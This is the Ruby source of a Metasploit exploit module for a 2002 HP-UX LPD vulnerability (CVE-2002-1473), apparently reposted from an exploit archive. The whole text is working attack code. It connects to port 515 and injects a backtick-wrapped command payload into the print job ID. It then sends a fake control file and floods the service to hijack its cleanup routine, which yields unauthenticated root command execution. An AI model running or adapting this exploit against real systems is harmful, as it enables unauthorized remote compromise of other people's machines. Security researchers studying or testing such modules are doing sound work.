HP-UX LPD – Command Execution (Metasploit)
## # $Id: cleanup_exec.rb 10561 2010-10-06 00:53:45Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'HP-UX LPD Command Execution', 'Description' => %q{ This exploit abuses an unpublished vulnerability in the HP-UX LPD service. This flaw allows an unauthenticated attacker to execute arbitrary commands with the privileges of the root user. The LPD service is only exploitable when the address of the attacking system can be resolved by the target. This vulnerability was silently patched with the buffer overflow flaws addressed in HP Security Bulletin HPSBUX0208-213. }, 'Author' => [ 'hdm' ], 'Version' => '$Revision: 10561 $', 'References' => [ [ 'CVE', '2002-1473'], [ 'OSVDB', '9638'], [ 'URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html'], ], 'Platform' => [ 'unix', 'hpux' ], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 200, 'DisableNops' => true, 'BadChars' => "\x00\x09\x20\x2f", 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet', } }, 'Targets' => [ [ 'Automatic Target', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 28 2002' )) register_options( [ Opt::RPORT(515) ], self.class) end def exploit # The job ID is squashed down to three decimal digits jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0] # Connect to the LPD service connect print_status("Sending our job request with embedded command string...") # Send the job request with the encoded command sock.put( "\x02" + rand_text_alphanumeric(3) + jid + "`" + payload.encoded + "`\n" ) res = sock.get_once(1) if !(res and res[0,1] == "\x00") print_status("The target did not accept our job request") return end print_status("Sending our fake control file...") sock.put("\x02 32 cfA" + rand_text_alphanumeric(8) + "\n") res = sock.get_once(1) if !(res and res[0,1] == "\x00") print_status("The target did not accept our control file") return end print_status("Forcing an error and hijacking the cleanup routine...") begin sock.put(rand_text_alphanumeric(16384)) disconnect rescue end end end |